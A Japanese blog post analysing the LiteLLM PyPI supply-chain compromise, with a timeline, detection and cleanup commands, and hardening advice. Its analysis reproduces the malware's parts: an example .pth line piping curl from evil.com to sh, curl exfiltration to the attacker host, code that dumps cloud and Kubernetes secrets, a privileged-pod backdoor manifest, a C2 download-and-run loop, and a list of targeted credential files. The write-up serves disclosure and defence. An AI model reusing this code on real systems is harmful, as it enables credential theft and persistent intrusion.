507
273

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【緊急】月間9500万DLのLiteLLMが乗っ取られた。インストールしただけでSSH鍵・AWS認証・仮想通貨が全部盗まれる

507
Last updated at Posted at 2026-03-24

あなたのマシンにLiteLLMが入っていたら、今すぐこの記事を読んでください。

2026年3月24日、AIエージェント開発者の間で最も広く使われているPythonライブラリの一つ「LiteLLM」が、サプライチェーン攻撃により完全に乗っ取られました。

月間9,500万ダウンロード。影響範囲は計り知れません。

結論から言うと

LiteLLM v1.82.7 および v1.82.8 をインストールした場合、あなたのSSH鍵、AWS/GCP/Azure認証情報、仮想通貨ウォレット、データベースパスワードがすべて攻撃者に送信された可能性があります。 さらにKubernetes環境では全ノードにバックドアが設置されている可能性があります。今すぐ全認証情報をローテーションしてください。

何が起きたのか?攻撃の全貌

詳細タイムライン

日時 (UTC) 出来事
3月1日 Aqua Security(Trivy開発元)が侵害される
3月19日 Trivy v0.69.4〜v0.69.6に悪意あるDockerイメージ。GitHub Actionsにマルウェア注入
3月23日 Checkmarx KICS GitHub Actionも同手法で侵害
3月23日 攻撃者がドメイン litellm.cloud をSpaceship, Inc.経由で取得
3月24日 ~08:30 PyPIに悪意あるLiteLLM v1.82.8が公開
3月24日 11:48 GitHub Issue #24512で最初の報告
3月24日 12:07 侵害が確認される(「pwned」)
3月24日 12:32 v1.82.7も汚染されていたことが判明
3月24日 13:48 GitHub Issue #24518で詳細タイムライン公開
同日中 PyPIがlitellmパッケージ全体を隔離。BerriAIがGoogleのMandiantと連携開始

重要な事実: GitHubリポジトリにはv1.82.6.dev1までしかタグが存在しません。v1.82.7とv1.82.8は攻撃者がPyPIに直接アップロードしたもので、正規のCI/CDパイプラインを完全にバイパスしています。

犯人は「TeamPCP」— 連鎖的サプライチェーン攻撃グループ

この攻撃は単独の事件ではありません。TeamPCPと呼ばれるグループによる、連鎖的なサプライチェーン攻撃の一環です:

① Trivy(脆弱性スキャナー)v0.69.4〜v0.69.6
  ↓ CI/CDパイプラインからPyPI認証情報を窃取
② Checkmarx KICS GitHub Action
  ↓ 同じ手法で侵害、さらに認証情報を収穫
③ NPMにCanisterWormワームを展開
  ↓ パッケージレジストリ横断攻撃
④ LiteLLM v1.82.7 / v1.82.8
  ↓ 窃取した認証情報でメンテナーアカウント乗っ取り
⑤ 次のターゲット → ???

LiteLLMのCI/CDパイプラインがバージョン指定なしでTrivyをインストールしていたため、汚染されたTrivyがパイプライン内のPyPI認証トークンを窃取。攻撃者はメンテナーkrrishdholakiaのアカウントを完全に乗っ取りました。

さらに、攻撃者のGitHubアカウントteampcpから、元のメンテナーが所有する無関係なリポジトリにも悪意あるコミットが確認されています。PyPIだけでなく、GitHubアカウント自体が完全に掌握されていたのです。

マルウェアの技術的深層解析

.pthファイルとは何か?— 知られざる攻撃ベクター

まず.pthファイルについて説明します。これはPythonのパス設定ファイルで、site-packages/ディレクトリに配置すると、Python起動時に中身が読み込まれ、記述されたパスがsys.pathに追加されます。たとえばサードパーティライブラリが追加のモジュール検索パスを登録する用途で使われており、setuptoolsdistutils-precedence.pthなどが代表例です。

ここまでは普通の仕組みです。問題はその先。

.pthファイル内の行がimportで始まる場合、その行はPythonコードとして実行される仕様になっています。これはPython公式ドキュメントにも記載されている正規の動作です。

つまり、.pthファイルをsite-packagesに仕込むだけで、Pythonインタプリタが起動するたびに任意のコードが自動実行されるのです。import litellmすら必要ありません。

# 通常の.pthファイル(パスを追加するだけ)
/some/extra/path

# 悪意ある.pthファイル(import始まりの行はコードとして実行される)
import os; os.system("curl evil.com | sh")

importフックもインポートガードも効きません。pip installでwheelを展開した時点で.pthファイルはsite-packagesに配置されるため、マルウェアの配信経路としては完璧です。

importすら不要。pip install litellm==1.82.8した瞬間に終わりです。

三重Base64エンコーディング — 難読化の全構造

今回のマルウェアは3段階のBase64デコードで難読化されていました:

┌─────────────────────────────────────────┐
│ Stage 0: litellm_init.pth (34,628 bytes)│
│ ─────────────────────────────────────── │
│ import os, subprocess, sys              │
│ subprocess.Popen([                      │
│   sys.executable, "-c",                 │
│   "import base64; exec(b64decode(...))" │ ← 子プロセスで実行
│ ])                                      │
└────────────────┬────────────────────────┘
                 ↓ Base64 デコード
┌─────────────────────────────────────────┐
│ Stage 1: Orchestrator (25,844 bytes)    │
│ ─────────────────────────────────────── │
│ ・ハードコードされたRSA-4096公開鍵       │
│ ・B64_SCRIPT変数 (→ Stage 2)           │
│ ・AES-256-CBC暗号化ルーチン             │
│ ・exfiltration(データ送信)ロジック     │
└────────────────┬────────────────────────┘
                 ↓ Base64 デコード
┌─────────────────────────────────────────┐
│ Stage 2: Collector (17,281 bytes)       │
│ ─────────────────────────────────────── │
│ ・emit() / run() ユーティリティ関数     │
│ ・認証情報ハーベスティング               │
│ ・AWS SigV4署名(boto3不要)            │
│ ・Secrets Manager / SSM Parameter Store │
│ ・EC2 IMDS v2 ロール認証情報窃取        │
│ ・K8s API クエリ                        │
│ ・PERSIST_B64変数 (→ Stage 3)          │
└────────────────┬────────────────────────┘
                 ↓ Base64 デコード
┌─────────────────────────────────────────┐
│ Stage 3: Persistence (1,125 bytes)      │
│ ─────────────────────────────────────── │
│ ・C2ポーリングループ(50分間隔)         │
│ ・任意バイナリダウンロード&実行         │
│ ・systemdサービス登録                    │
└─────────────────────────────────────────┘

Stage 1:暗号化と送信

収集したデータは以下の手順で暗号化・送信されます:

# 実際のマルウェアが実行するコマンドの再現
# ① ランダムなセッションキー生成
openssl rand -out session.key 32

# ② 収集データをAES-256-CBCで暗号化
openssl enc -aes-256-cbc -in stolen_data.tar -out encrypted.bin \
  -pass file:session.key

# ③ セッションキーをRSA-4096公開鍵で暗号化
openssl pkeyutl -encrypt -pubin -inkey attacker_rsa.pub \
  -in session.key -out session.key.enc

# ④ アーカイブ化してC2サーバーに送信
tar -czf tpcp.tar.gz encrypted.bin session.key.enc
curl -X POST https://models.litellm.cloud/ -F "file=@tpcp.tar.gz"

注目すべき点: アーカイブ名がtpcp.tar.gz。攻撃グループ名「TeamPCP」の署名が含まれています。

Stage 2:認証情報ハーベスティングの全容

盗まれるデータは前バージョンの記事よりさらに広範でした:

ローカルファイル

# SSH鍵(全フォーマット)
~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa
~/.ssh/authorized_keys, known_hosts, config

# クラウド認証
~/.aws/credentials, ~/.aws/config
~/.config/gcloud/application_default_credentials.json
~/.azure/accessTokens.json
~/.kube/config

# 開発ツール
~/.gitconfig, ~/.git-credentials
~/.docker/config.json
~/.npmrc
~/.vault-token

# シェル履歴(過去のコマンドからもシークレットを抽出)
~/.bash_history, ~/.zsh_history
~/.mysql_history, ~/.psql_history, ~/.pgpass

# CI/CDシークレット
~/.terraform.d/credentials.tfrc.json
~/.config/gh/hosts.yml     # GitHub CLI認証
~/.gitlab-ci-token
~/.travis/config.yml
~/.jenkins/secrets/

仮想通貨ウォレット(11種類以上)

~/.bitcoin/wallet.dat
~/.ethereum/keystore/
~/.litecoin/
~/.dogecoin/
~/.zcash/
~/.dash/
~/.ripple/
~/.monero/
~/.cardano/
~/.solana/

AWSの積極的な権限昇格

特に悪質なのは、boto3に依存せずSigV4署名を自前実装してAWSリソースを直接クエリしている点です:

# マルウェアの実際の動作(簡略化)
# boto3不要 - 生のHTTPリクエストでAWS APIを叩く

# 1. EC2メタデータサービス(IMDS v2)からロール認証情報を窃取
TOKEN = requests.put("http://169.254.169.254/latest/api/token",
                      headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
creds = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/",
                      headers={"X-aws-ec2-metadata-token": TOKEN})

# 2. Secrets Managerの全シークレットをダンプ
secrets = aws_request("secretsmanager", "ListSecrets", region)
for secret in secrets:
    value = aws_request("secretsmanager", "GetSecretValue",
                        region, SecretId=secret["ARN"])

# 3. SSM Parameter Storeの全パラメータをダンプ
params = aws_request("ssm", "GetParametersByPath",
                     region, Path="/", Recursive=True, WithDecryption=True)

つまり、EC2インスタンス上で実行された場合、ローカルファイルだけでなくAWSのSecrets ManagerやParameter Storeに保存されている全シークレットも窃取される。

Kubernetes横展開 — クラスタ全体が陥落する

Stage 2はKubernetesサービスアカウントトークンを検出すると、さらに恐ろしい動作をします:

① 全Namespaceの全Secretsを読み取り

# K8s APIを直接叩いてクラスタ内の全シークレットを取得
token = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read()
secrets = requests.get(
    "https://kubernetes.default.svc/api/v1/secrets",
    headers={"Authorization": f"Bearer {token}"},
    verify="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
)

② 全ノードに特権Podを展開

# マルウェアが作成するPodの仕様(再現)
apiVersion: v1
kind: Pod
metadata:
  name: node-setup-<node-name>  # ← 発見時の目印
  namespace: kube-system         # ← 管理用NSに潜伏
spec:
  hostPID: true       # ホストのプロセス空間にアクセス
  hostNetwork: true   # ホストのネットワークにアクセス
  tolerations:
    - operator: Exists # コントロールプレーンノードにもスケジュール
  nodeSelector:
    kubernetes.io/hostname: <target-node>
  containers:
    - name: setup
      image: alpine:latest
      securityContext:
        privileged: true  # 完全な特権
      volumeMounts:
        - name: host-root
          mountPath: /host  # ホストのルートFSをマウント
      command:
        - chroot
        - /host
        - /bin/bash
        - -c
        - |
          # ホスト上にバックドアを直接インストール
          mkdir -p /root/.config/sysmon/
          echo '<PERSIST_B64>' | base64 -d > /root/.config/sysmon/sysmon.py
          # systemdサービスとして永続化
          mkdir -p /root/.config/systemd/user/
          cat > /root/.config/systemd/user/sysmon.service << 'UNIT'
          [Service]
          ExecStart=/usr/bin/python3 /root/.config/sysmon/sysmon.py
          Restart=always
          StartLimitIntervalSec=0
          StandardOutput=null
          UNIT
          systemctl --user enable sysmon
          systemctl --user start sysmon
  volumes:
    - name: host-root
      hostPath:
        path: /

これが意味すること: LiteLLMをインストールしたPodが1つでもKubernetesクラスタ内にあれば、クラスタ内の全ノードにバックドアが設置される可能性があります。開発環境だけでなく、本番クラスタ全体が陥落するのです。

Stage 3:永続的バックドア(sysmon.py)

最終段階は「静かな監視者」です:

# sysmon.py — 永続的C2バックドア(再現コード)
import urllib.request, subprocess, os, time

C2_URL = "https://checkmarx.zone/raw"  # C2サーバー
STATE_FILE = "/tmp/.pg_state"           # 実行済みフラグ
BINARY_PATH = "/tmp/pglog"             # ダウンロード先

time.sleep(300)  # 初回起動時は5分待機(検知回避)

while True:
    try:
        resp = urllib.request.urlopen(C2_URL)
        url = resp.read().decode().strip()

        # YouTube URLはスキップ(テスト用アーティファクト)
        if "youtube.com" in url:
            pass
        elif not os.path.exists(STATE_FILE):
            # 任意のバイナリをダウンロードして実行
            urllib.request.urlretrieve(url, BINARY_PATH)
            os.chmod(BINARY_PATH, 0o755)
            subprocess.Popen([BINARY_PATH])
            open(STATE_FILE, "w").close()  # 再実行防止
    except:
        pass

    time.sleep(3000)  # 50分間隔でポーリング

systemdサービスの特徴:

  • Restart=always + StartLimitIntervalSec=0無限再起動
  • StandardOutput=null → ログ出力を完全に抑制
  • ファイル名がsysmon(正規のシステムモニタリングツールに偽装)

つまり、認証情報を盗んだ後も、マシンは攻撃者のC2サーバーに50分おきに通信し続け、任意のマルウェアを追加でダウンロード・実行できる状態が維持される。

おまけ:バグ入りマルウェア

皮肉なことに、このマルウェアにはバグがあります。

.pthファイルがsubprocess.Popenで子プロセスを生成しますが、その子プロセスでもPython起動時に.pthが再実行されるため、指数関数的にプロセスがフォークされるフォークボム状態を引き起こす可能性があります。

python起動 → .pth実行 → subprocess.Popen(python)
                         → .pth実行 → subprocess.Popen(python)
                                       → .pth実行 → ...(無限)

マルウェア開発者もバグを書くのです。

IOC(侵害の痕跡)一覧

セキュリティチームは以下のIOCを監視してください:

ファイルハッシュ

ファイル SHA256
litellm 1.82.8 wheel d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb
litellm_init.pth ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg

ネットワークインジケータ

種類 用途
データ送信先 hxxps://models[.]litellm[.]cloud/ 認証情報の送信
C2サーバー hxxps://checkmarx[.]zone/raw バックドアのポーリング
ドメイン登録 Spaceship, Inc.(2026-03-23登録)

フォレンジックアーティファクト

# ファイルシステム
*/site-packages/litellm_init.pth       # 初期ペイロード
~/.config/sysmon/sysmon.py             # 永続バックドア
~/.config/systemd/user/sysmon.service  # systemdサービス
/tmp/pglog                              # ダウンロードされたバイナリ
/tmp/.pg_state                          # 実行済みフラグ

# Kubernetes
kube-system namespace内の "node-setup-*" Pod

RSA公開鍵(先頭部分)

MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...

あなたは大丈夫?完全チェックリスト

Step 1:感染チェック

# === ローカル環境チェック ===

# 1. .pthファイルの存在確認(全Python環境)
find / -name "litellm_init.pth" 2>/dev/null

# 2. インストール済みバージョンの確認
pip show litellm 2>/dev/null | grep -i version
pip3 show litellm 2>/dev/null | grep -i version

# 3. 全仮想環境もチェック
find ~ -path "*/site-packages/litellm_init.pth" 2>/dev/null

# 4. バックドアの存在確認
ls -la ~/.config/sysmon/sysmon.py 2>/dev/null
ls -la ~/.config/systemd/user/sysmon.service 2>/dev/null
ls -la /tmp/pglog /tmp/.pg_state 2>/dev/null

# 5. systemdサービスの確認
systemctl --user status sysmon 2>/dev/null

Step 2:ネットワーク通信の確認

# 攻撃者ドメインへの通信
grep -r "litellm\.cloud\|checkmarx\.zone" \
  ~/.bash_history ~/.zsh_history 2>/dev/null

# アクティブな接続を確認
lsof -i -n | grep -E "litellm|checkmarx" 2>/dev/null
netstat -an | grep -E "litellm|checkmarx" 2>/dev/null

# DNS解決ログ(macOS)
log show --predicate 'process == "mDNSResponder"' --last 48h 2>/dev/null \
  | grep -E "litellm\.cloud|checkmarx\.zone"

Step 3:Kubernetesクラスタチェック

# 不正なPodの確認
kubectl get pods -n kube-system | grep "node-setup"

# 全Namespace横断で確認
kubectl get pods --all-namespaces | grep "node-setup"

# 最近作成されたPodの監査
kubectl get pods -n kube-system --sort-by=.metadata.creationTimestamp \
  | tail -20

# ノード上のバックドア確認(各ノードで実行)
ssh <node> "ls -la /root/.config/sysmon/ 2>/dev/null; \
  systemctl --user status sysmon 2>/dev/null"

Step 4:感染していた場合の完全対応

# ========== 即座に実行 ==========

# 1. LiteLLMをアンインストール
pip uninstall litellm -y

# 2. 悪意あるファイルを全削除
find / -name "litellm_init.pth" -delete 2>/dev/null
rm -f ~/.config/sysmon/sysmon.py
rm -f ~/.config/systemd/user/sysmon.service
rm -f /tmp/pglog /tmp/.pg_state
systemctl --user stop sysmon 2>/dev/null
systemctl --user disable sysmon 2>/dev/null

# 3. SSH鍵を再生成
cd ~/.ssh
for key in id_rsa id_ed25519 id_ecdsa id_dsa; do
  [ -f "$key" ] && mv "$key" "${key}.compromised.$(date +%s)"
done
ssh-keygen -t ed25519 -C "rotated-$(date +%Y%m%d)"

# ========== 認証情報ローテーション ==========

# 4. AWS
aws iam create-access-key --user-name YOUR_USER
aws iam delete-access-key --user-name YOUR_USER \
  --access-key-id OLD_ACCESS_KEY_ID
# Secrets Managerの全シークレットもローテーション必須

# 5. GCP
gcloud auth revoke --all
gcloud auth login

# 6. GitHub
gh auth logout
gh auth login

# 7. Docker
docker logout
docker login

# ========== Kubernetesクラスタ復旧 ==========

# 8. 不正Podの削除
kubectl delete pods -n kube-system -l "node-setup" --force
# パターンマッチで削除
kubectl get pods -n kube-system -o name | grep "node-setup" | \
  xargs kubectl delete -n kube-system --force

# 9. 全ノードからバックドア除去
for node in $(kubectl get nodes -o name | cut -d/ -f2); do
  ssh "$node" "rm -rf /root/.config/sysmon/; \
    systemctl --user stop sysmon; \
    systemctl --user disable sysmon; \
    rm -f /root/.config/systemd/user/sysmon.service"
done

最重要: 全クラウドプロバイダー(AWS/GCP/Azure)の認証情報、SSH鍵、APIキー、データベースパスワードをすべてローテーションしてください。「たぶん大丈夫」は通用しません。AWSのSecrets ManagerやSSM Parameter Storeに保存したシークレットも窃取されている前提で対応が必要です。

なぜLiteLLMが狙われたのか?

LiteLLMは、OpenAI・Anthropic・Google・AWS Bedrockなど100以上のLLMプロバイダーへの統一アクセスを提供するプロキシライブラリです。

つまり、LiteLLMを使っている環境には、ほぼ確実に高額なAPI鍵が存在する

攻撃者にとってこれほど美味しいターゲットはありません。

LiteLLMユーザーが持つ認証情報 推定被害
OpenAI / Anthropic APIキー 数万〜数十万円/月の不正利用
AWS/GCP認証情報 クラウドリソース無制限悪用(クリプトマイニング等)
SSH鍵 サーバー群への完全アクセス
K8sクラスタ 全ノードの完全掌握 + バックドア設置
Secrets Manager 企業の全シークレット漏洩
仮想通貨ウォレット 直接的な金銭被害(取り消し不可)

影響範囲がヤバい — あなたが使っているツールも汚染されている可能性

「自分はLiteLLMなんて使ってないから関係ない」

本当にそうですか?

LiteLLMのGitHubリポジトリ(40,400スター6,700フォーク)のDependentsページを見ると、19,262リポジトリ2,247パッケージがLiteLLMに依存しています。

つまり、pip install litellmを自分で実行していなくても、別のツールが裏でインストールしている可能性があるのです。

LiteLLMに直接依存している主要プロジェクト

以下のプロジェクトを使っている場合、あなたの環境にlitellmが入っている可能性があります。今すぐpip show litellmで確認してください。

AIエージェントフレームワーク

プロジェクト Stars 概要 影響
OpenHands(旧OpenDevin) 51k+ オープンソース版Devin(AI開発エージェント) litellmをコア依存として使用
DSPy(Stanford NLP) 24k+ プログラマティックLLMフレームワーク litellm>=1.64.0必須依存
AgentOps 4k+ AIエージェント監視SDK litellm>=1.3.1を統合

LLM基盤ツール・オブザーバビリティ

プロジェクト Stars 概要 影響
Langfuse 10k+ LLMオブザーバビリティプラットフォーム litellm SDKを公式統合
MLflow(Databricks) 20k+ MLOpsプラットフォーム litellmコールバック統合
Databricks AI Bridge Databricks AI統合ライブラリ litellmに依存

エンタープライズ採用(GitHubリポジトリREADMEに掲載)

企業/プロジェクト 用途
Stripe LLMプロキシとして採用
Netflix AI基盤に統合
Google ADK AI Development Kitで連携
OpenAI Agents SDK エージェントSDKで利用
Greptile コードベースAI分析

「自分は直接インストールしていない」が危険な理由

Pythonの依存関係は推移的(transitive)です。

あなたがインストールしたもの:
  pip install dspy
    └── dspy が内部で依存:
          └── litellm>=1.64.0  ← これが自動インストールされる

あなたがインストールしたもの:
  pip install openhands
    └── openhands が内部で依存:
          └── litellm  ← これが自動インストールされる

もし自動更新やpip install --upgradeを実行するタイミングが悪ければ、あなたが意図せずv1.82.7/v1.82.8をインストールしていた可能性があるのです。

今すぐ確認:自分の環境にlitellmが入っているか

# 全Python環境でlitellmの存在をチェック
pip list 2>/dev/null | grep -i litellm
pip3 list 2>/dev/null | grep -i litellm

# 全仮想環境を横断チェック
find ~ -path "*/site-packages/litellm" -type d 2>/dev/null

# どのパッケージがlitellmを要求しているか確認
pip show litellm 2>/dev/null | grep "Required-by"

# Dockerイメージ内もチェック(本番環境)
docker run --rm your-image pip list | grep litellm

19,262リポジトリが依存 — これはnumpyやrequestsのような「当たり前のライブラリ」に匹敵する規模です。AI開発に関わるエンジニアの相当数が影響圏内にいると考えるべきです。

BerriAI(LiteLLM開発元)の対応

BerriAIは以下の対応を実施しました:

  1. 悪意あるパッケージの即座削除
  2. 全メンテナーアカウントの再作成(新アカウント: @krrish-berri-2, @ishaan-berri
  3. Google Mandiantと連携してフォレンジック調査を開始
  4. サプライチェーン全体のスキャンが完了するまでリリースを凍結」と声明

現在、PyPIではlitellmの全バージョンが隔離されており、pip install litellmは全バージョンで失敗します。

もっと怖い話:これは「序章」に過ぎない

TeamPCPの攻撃パターンを俯瞰すると、その恐ろしさが見えてきます:

Trivy v0.69.4-v0.69.6 — セキュリティスキャナー
  ↓ CI/CDシークレットを収穫
Checkmarx KICS — セキュリティスキャナー(GitHub Action)
  ↓ さらにCI/CDシークレットを収穫
NPM — CanisterWormワーム展開
  ↓ JavaScriptエコシステムに侵食
LiteLLM v1.82.7/v1.82.8 — AIプロキシ(月間9500万DL)
  ↓ 開発者の全認証情報 + K8sクラスタを掌握
??? — 次のターゲット

パターンに注目してください:

  • セキュリティツールを最初に攻撃(皮肉にも「守る側」が最初の犠牲者)
  • CI/CDから認証情報を窃取し、次のターゲットへの鍵を入手
  • 各攻撃で窃取した認証情報で連鎖的に攻撃範囲を拡大
  • 異なるエコシステム(PyPI → GitHub Actions → NPM)を横断

連鎖は止まっていません。次に狙われるのはLangChainか?CrewAIか?あなたが使っているツールかもしれません。

AI開発者が今すぐやるべき7つの防御策

1. 依存関係のピン留めとハッシュ検証

# requirements.txt - バージョンだけでなくハッシュも固定
litellm==1.82.6 \
  --hash=sha256:abc123def456...
# pip-compileでハッシュ付きrequirements生成
pip-compile --generate-hashes requirements.in

2. CI/CDでの依存関係監査

# .github/workflows/audit.yml
name: Dependency Audit
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Check for malicious packages
        run: |
          pip install pip-audit
          pip-audit --strict --desc
      - name: Verify no suspicious .pth files
        run: |
          SITE=$(python3 -c "import site; print(site.getsitepackages()[0])")
          SUSPICIOUS=$(find "$SITE" -name "*.pth" \
            ! -name "distutils-precedence.pth" \
            ! -name "easy-install.pth" \
            -exec grep -l "import\|exec\|eval\|subprocess" {} \;)
          if [ -n "$SUSPICIOUS" ]; then
            echo "::error::Suspicious .pth files with executable code found:"
            echo "$SUSPICIOUS"
            exit 1
          fi

3. CI/CDシークレットの最小権限化

今回の根本原因はCI/CDパイプライン内にPyPI認証情報が存在していたことです:

# OIDC認証を使用してシークレットを環境変数に保存しない
- name: Publish to PyPI
  uses: pypa/gh-action-pypi-publish@release/v1
  with:
    # パスワードではなくOIDCトークンを使用
    # PyPIの Trusted Publishers 機能
    attestations: true

4. .pthファイルの監視

# cronで定期的に.pthファイルを監視
# crontab -e
0 * * * * find /usr/lib/python3*/site-packages \
  -name "*.pth" -newer /tmp/.pth-baseline \
  -exec echo "NEW .pth FILE: {}" \; | mail -s "ALERT" you@company.com

# ベースラインの作成
find /usr/lib/python3*/site-packages -name "*.pth" > /tmp/.pth-baseline

5. 仮想環境の隔離を徹底

# プロジェクトごとに完全隔離
python3 -m venv .venv --clear
source .venv/bin/activate

# グローバルインストールを禁止
export PIP_REQUIRE_VIRTUALENV=true

6. Kubernetesのセキュリティ強化

# PodSecurityStandard を restricted に設定
apiVersion: v1
kind: Namespace
metadata:
  name: your-namespace
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/warn: restricted
# OPA/Gatekeeper で privileged Pod を禁止
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPPrivilegedContainer
metadata:
  name: deny-privileged
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Pod"]

7. AWS IMDS v2の強制 + Secrets Managerアクセス制限

# EC2インスタンスでIMDS v1を無効化(v2のみ許可)
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Secrets Managerへのアクセスを特定ロールに限定
# IAMポリシーでConditionを使用

教訓:「信頼」はセキュリティではない

LiteLLMは信頼されたライブラリでした。9,500万ダウンロード。多くの企業が本番環境で使用。

でも、信頼はセキュリティモデルではありません。

✗ "有名だから安全" → LiteLLMも有名だった
✗ "メンテナーが信頼できる" → アカウントが乗っ取られた
✗ "最新バージョンを使えば安全" → 最新が汚染されていた
✗ "セキュリティツールで守っている" → そのツール(Trivy)自体が侵害された
✗ "CI/CDで自動テストしている" → CI/CDから認証情報が盗まれた

ゼロトラストは、もはやネットワークだけの話ではありません。

依存関係も、パッケージレジストリも、CI/CDも、セキュリティツール自体も、すべてを疑う時代が来たのです。

参考リンク

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer - GitHub Issue #24512

[Security]: litellm PyPI package (v1.82.7 + v1.82.8) compromised — full timeline and status - GitHub Issue #24518

Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor - SafeDep

Malicious litellm_init.pth in litellm 1.82.8 — credential stealer - Simon Willison

Supply Chain Attack in litellm 1.82.8 on PyPI - FutureSearch

A popular Python library just became a backdoor to your entire machine - XDA Developers

LiteLLM PyPI Attack: 95M Downloads Hit by Malware Today - ByteIota

TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions - Sysdig


この記事が参考になったら、いいねと保存をお願いします!周りのAI開発者にもシェアしてください。

あなたはLiteLLMを使っていましたか?もし影響を受けた方がいたら、コメントで教えてください。対応を一緒に考えましょう。

次回は「Pythonサプライチェーン攻撃を自動検知するGitHub Actions完全ガイド」を公開予定です。

507
273
2

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
507
273

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?